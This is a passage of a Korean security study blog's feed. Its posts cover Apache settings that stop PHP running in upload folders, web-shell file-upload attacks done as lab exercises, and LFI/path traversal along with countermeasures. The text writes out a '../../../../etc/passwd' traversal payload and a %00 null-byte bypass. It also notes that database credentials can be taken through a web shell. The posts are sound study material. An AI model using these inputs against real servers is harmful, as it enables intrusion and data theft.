&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;308&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/catGHY/dJMcahdvxTf/7U5GKEItSYdeV46P7KEIq1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/catGHY/dJMcahdvxTf/7U5GKEItSYdeV46P7KEIq1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/catGHY/dJMcahdvxTf/7U5GKEItSYdeV46P7KEIq1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcatGHY%2FdJMcahdvxTf%2F7U5GKEItSYdeV46P7KEIq1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;308&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;308&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Directory 지시자 : 지정한 디렉토리 내 모든 파일 서비스와 기능 허용 및 거부 설정하는 지시자&lt;/li&gt;
&lt;li&gt;'pip_admin_flag engine off' : PHP 모듈이 해당 디렉토리 내에서 실행하지 않도록 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;558&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dtdenW/dJMcabLaWvi/zTglaKt2fKKVQgHQKfxbd1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dtdenW/dJMcabLaWvi/zTglaKt2fKKVQgHQKfxbd1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dtdenW/dJMcabLaWvi/zTglaKt2fKKVQgHQKfxbd1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdtdenW%2FdJMcabLaWvi%2FzTglaKt2fKKVQgHQKfxbd1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;558&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;558&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PHP 파일이 실행되지 않고 다운로드 하도록 변경 됨&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>보안/보안 개념</category>
      <author>no-brake</author>
      <guid isPermaLink="true">https://no-brake.tistory.com/177</guid>
      <comments>https://no-brake.tistory.com/177#entry177comment</comments>
      <pubDate>Tue, 26 May 2026 10:12:06 +0900</pubDate>
    </item>
    <item>
      <title>웹 쉘을 이용한 파일 업로드 취약점</title>
      <link>https://no-brake.tistory.com/176</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[취약점 조건]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버에 파일 업로드 가능&lt;/li&gt;
&lt;li&gt;업로드 폴더 웹 디렉토리 내부에 존재&lt;/li&gt;
&lt;li&gt;폴더 실행권한 존재&lt;/li&gt;
&lt;li&gt;파일에 대한 필터링 존재 안함(확장자, 파일 내용, 파일 저장 경로, 파일 크기, 파일 이름 등)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[웹 쉘(Web Shell)]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 서버에 설치되어 원격으로 서버 제어 가능하게 하는 스크립트 파일&lt;/li&gt;
&lt;li&gt;주로 서버 언어 스크립트로 제작&lt;/li&gt;
&lt;li&gt;공격자가 서버 칩입 후 지속적으로 접근하거나 명령을 실행 목적&lt;/li&gt;
&lt;li&gt;&lt;b&gt;한 줄&lt;/b&gt;&lt;b&gt; 웹 쉘&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;'eval()' 나 'exec()' 함수와 같은 명령어 실행하는 한 줄 코드
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt; eval() 함수&lt;/b&gt; : 문자열로 된 프로그래밍 코드(수식이나 명령어)를 인자로 받아 이를 실제 코드로 해석하고 실행&lt;/li&gt;
&lt;li&gt;&lt;b&gt; exec() 함수&lt;/b&gt; : 현재&amp;nbsp;실행&amp;nbsp;중인&amp;nbsp;프로세스의&amp;nbsp;메모리&amp;nbsp;공간을&amp;nbsp;새로운&amp;nbsp;프로그램으로&amp;nbsp;덮어씌워&amp;nbsp;실행하는&amp;nbsp;시스템&amp;nbsp;호출&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;파일 사이즈가 작아 탐지에 쉽게 되지 않으나, 기능이 제한적임&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;브라우저 웹 쉘&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;그래픽 사용자 인터페이스(GUI)를 통한 서버 제어 가능&lt;/li&gt;
&lt;li&gt;파일 사이즈 커 탐지에 쉽게 적발되나, 다양한 기능을 포함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[브라우저 웹 쉘 실습]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1260&quot; data-origin-height=&quot;490&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sd56i/dJMcaiDtbGs/oJfQ91pLvjRc3PKD7ap7ZK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sd56i/dJMcaiDtbGs/oJfQ91pLvjRc3PKD7ap7ZK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sd56i/dJMcaiDtbGs/oJfQ91pLvjRc3PKD7ap7ZK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fsd56i%2FdJMcaiDtbGs%2FoJfQ91pLvjRc3PKD7ap7ZK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1260&quot; height=&quot;490&quot; data-origin-width=&quot;1260&quot; data-origin-height=&quot;490&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;383&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FKobF/dJMcahkjoKd/HoGUTjBN87gls79PY5xyck/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FKobF/dJMcahkjoKd/HoGUTjBN87gls79PY5xyck/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FKobF/dJMcahkjoKd/HoGUTjBN87gls79PY5xyck/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFKobF%2FdJMcahkjoKd%2FHoGUTjBN87gls79PY5xyck%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;383&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;383&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;보통 업로드 파일이 '.php' 같은 서버 스크립트 확장자를 업로드는 일반적이지 않은 상황으로, 보안 설정으로 업로드 허용하지 않아야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1278&quot; data-origin-height=&quot;322&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dkoBUl/dJMcaaFt1S3/d0JIkj1bAKw5ahZqEAsvgk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dkoBUl/dJMcaaFt1S3/d0JIkj1bAKw5ahZqEAsvgk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dkoBUl/dJMcaaFt1S3/d0JIkj1bAKw5ahZqEAsvgk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdkoBUl%2FdJMcaaFt1S3%2Fd0JIkj1bAKw5ahZqEAsvgk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1278&quot; height=&quot;322&quot; data-origin-width=&quot;1278&quot; data-origin-height=&quot;322&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;게시글 URL로 확인 가능 정보&lt;/b&gt; : borad 디렉토리 하위 'qna_view.php'에서 게시물 노출 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1268&quot; data-origin-height=&quot;266&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/88Kra/dJMcaijahqt/f0vJktkcjbBJmtESshBTpk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/88Kra/dJMcaijahqt/f0vJktkcjbBJmtESshBTpk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/88Kra/dJMcaijahqt/f0vJktkcjbBJmtESshBTpk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F88Kra%2FdJMcaijahqt%2Ff0vJktkcjbBJmtESshBTpk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1268&quot; height=&quot;266&quot; data-origin-width=&quot;1268&quot; data-origin-height=&quot;266&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt; 첨부 파일 호버시 표시되는 내용으로 확인 가능 정보&lt;/b&gt; : 사용자가 업로드한 파일은 업로드한 사용자의 닉네임 폴더 생성 후 그 안에 저장되는 구조 유추&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;398&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d99WUW/dJMcajvBxPc/ZLCdCCLNkb88q7JK5G01vK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d99WUW/dJMcajvBxPc/ZLCdCCLNkb88q7JK5G01vK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d99WUW/dJMcajvBxPc/ZLCdCCLNkb88q7JK5G01vK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd99WUW%2FdJMcajvBxPc%2FZLCdCCLNkb88q7JK5G01vK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;398&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;398&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;upload 이름 디렉토리가 존재한다는 가정으로 성공적으로 웹 쉘접속 완료&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;525&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rLl6e/dJMcaciUi90/25mTiw53uejWrwbn1k1ksk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rLl6e/dJMcaciUi90/25mTiw53uejWrwbn1k1ksk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rLl6e/dJMcaciUi90/25mTiw53uejWrwbn1k1ksk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrLl6e%2FdJMcaciUi90%2F25mTiw53uejWrwbn1k1ksk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1170&quot; height=&quot;525&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;525&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 쉘은 웹 서버 권한을 얻기 때문에 root(최상위) 권한이 아닌 apache 권한을 얻음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;371&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMzOoX/dJMcac4iRnM/C0hNZvMsxnYgPDW7rtxS5K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMzOoX/dJMcac4iRnM/C0hNZvMsxnYgPDW7rtxS5K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMzOoX/dJMcac4iRnM/C0hNZvMsxnYgPDW7rtxS5K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMzOoX%2FdJMcac4iRnM%2FC0hNZvMsxnYgPDW7rtxS5K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;371&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;371&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DB데이터 관련 접근시 DB 계정 정보를 통해 DB 탈취 가능&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>보안/보안 개념</category>
      <author>no-brake</author>
      <guid isPermaLink="true">https://no-brake.tistory.com/176</guid>
      <comments>https://no-brake.tistory.com/176#entry176comment</comments>
      <pubDate>Fri, 22 May 2026 17:26:34 +0900</pubDate>
    </item>
    <item>
      <title>LFI와 RFI</title>
      <link>https://no-brake.tistory.com/175</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Path Traversal]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;외부로부터 제공받은 입력을 검증하지 않고, 바로 경로로 사용시 발생하는 취약점&lt;/li&gt;
&lt;li&gt;웹 서버가 링크 호출을 통해 특정 파일을 받아오는 구조를&amp;nbsp; 가질 때 '../' 같은 취약점 사용하여 웹 서버 내부 파일 호출&lt;/li&gt;
&lt;li&gt;웹 디렉토리 외부에 저장된 파일 및 디렉토리에 접근 목적으로 '../'을 반복 사용하여, 허용 범위를 넘어 민감한 서버 파일 시스템 접근 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[LFI]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;[개념]&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Locla File Include 약자로 파일 불러오기 기능을 이용하여 &lt;b&gt;서버 내부&lt;/b&gt;의 파일에 엑세스하는 공격&lt;/li&gt;
&lt;li&gt;링크 호출을 통해 특정 파일을 받아오는 구조를 가질 시 '../ 와 같은 path traversal 취약점을 사용하여 웹 서버 내부 파일을 호출하는 취약점&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;[Peruggia case 실습]&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;17-1.JPG&quot; data-origin-width=&quot;1192&quot; data-origin-height=&quot;93&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2JbZ5/dJMb990NZ8c/9RwBU0Mjmk4nfKAzktX5m1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2JbZ5/dJMb990NZ8c/9RwBU0Mjmk4nfKAzktX5m1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2JbZ5/dJMb990NZ8c/9RwBU0Mjmk4nfKAzktX5m1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2JbZ5%2FdJMb990NZ8c%2F9RwBU0Mjmk4nfKAzktX5m1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1192&quot; height=&quot;93&quot; data-filename=&quot;17-1.JPG&quot; data-origin-width=&quot;1192&quot; data-origin-height=&quot;93&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;17-2.JPG&quot; data-origin-width=&quot;1186&quot; data-origin-height=&quot;95&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lr44c/dJMcaiwCYa5/o2cvk61FPPgr1KNkxQz7MK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lr44c/dJMcaiwCYa5/o2cvk61FPPgr1KNkxQz7MK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lr44c/dJMcaiwCYa5/o2cvk61FPPgr1KNkxQz7MK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flr44c%2FdJMcaiwCYa5%2Fo2cvk61FPPgr1KNkxQz7MK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1186&quot; height=&quot;95&quot; data-filename=&quot;17-2.JPG&quot; data-origin-width=&quot;1186&quot; data-origin-height=&quot;95&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;페이지에 따라 action 매개변수가 변경 됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;17-3.JPG&quot; data-origin-width=&quot;1187&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Wjqt2/dJMcafs8wzv/9wxcH7JrWxM2IQkQB0l9vK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Wjqt2/dJMcafs8wzv/9wxcH7JrWxM2IQkQB0l9vK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Wjqt2/dJMcafs8wzv/9wxcH7JrWxM2IQkQB0l9vK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWjqt2%2FdJMcafs8wzv%2F9wxcH7JrWxM2IQkQB0l9vK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1187&quot; height=&quot;570&quot; data-filename=&quot;17-3.JPG&quot; data-origin-width=&quot;1187&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;'../../../../../../../etc/passwd' 입력해도 아무런 정보 없음
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;'../' 필터링이 되어 있거나&lt;/li&gt;
&lt;li&gt;특정 단어만 받도록 설정된 화이트 리스트 기반&lt;/li&gt;
&lt;li&gt;Include() 함수 확장자 지정 됨 등.. 설정 의심&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;17-4.JPG&quot; data-origin-width=&quot;1169&quot; data-origin-height=&quot;782&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pJGLQ/dJMcacb7qyO/K5LrLlTvcZTmAZ60VM9XTk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pJGLQ/dJMcacb7qyO/K5LrLlTvcZTmAZ60VM9XTk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pJGLQ/dJMcacb7qyO/K5LrLlTvcZTmAZ60VM9XTk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpJGLQ%2FdJMcacb7qyO%2FK5LrLlTvcZTmAZ60VM9XTk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1169&quot; height=&quot;782&quot; data-filename=&quot;17-4.JPG&quot; data-origin-width=&quot;1169&quot; data-origin-height=&quot;782&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;종단 문자(%00) 사용 시 접근 가능 확인
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;종단 문자(%00) : 인클루드 함수 확장자 지정 우회, 뒤에&amp;nbsp;오는&amp;nbsp;모든&amp;nbsp;내용을&amp;nbsp;무시하고&amp;nbsp;그&amp;nbsp;앞까지만&amp;nbsp;파일명으로&amp;nbsp;인식&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;[대응 방안]&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;'../', '%00' 같은 특수문자를 문자열 치환 함수로 검열
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;'../' : 경로 이동 명령어로, 웹 디렉토리 외부로 이동하는 목적&lt;/li&gt;
&lt;li&gt;'%00' : 종단 문자로, include 함수에 고정된 확장자를 무시하여 성공적으로 공격 진행&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;입력값을 필터링 하여 특정 중요 파일 호출 불가 하도록 함&lt;/li&gt;
&lt;li&gt;사전에 정의된 문자열이 매개변수로 요청시에만 include 기능 사용 가능하도록 설정
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;화이트리스트를 사용하여 지정된 파일만 포함 하도록 제한&lt;/li&gt;
&lt;li&gt;매개변수를 통해 받은 값을 직접 사용시 LFI 공격에 취약&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;[대응 실습]&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;869&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QaqFx/dJMb990R3jV/8kY0NvAIj1HLzvgXyOGPPK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QaqFx/dJMb990R3jV/8kY0NvAIj1HLzvgXyOGPPK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QaqFx/dJMb990R3jV/8kY0NvAIj1HLzvgXyOGPPK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQaqFx%2FdJMb990R3jV%2F8kY0NvAIj1HLzvgXyOGPPK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;869&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;869&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;action 매개변수에 호출되는 페이지 지정 확인&lt;/li&gt;
&lt;/ul&gt;
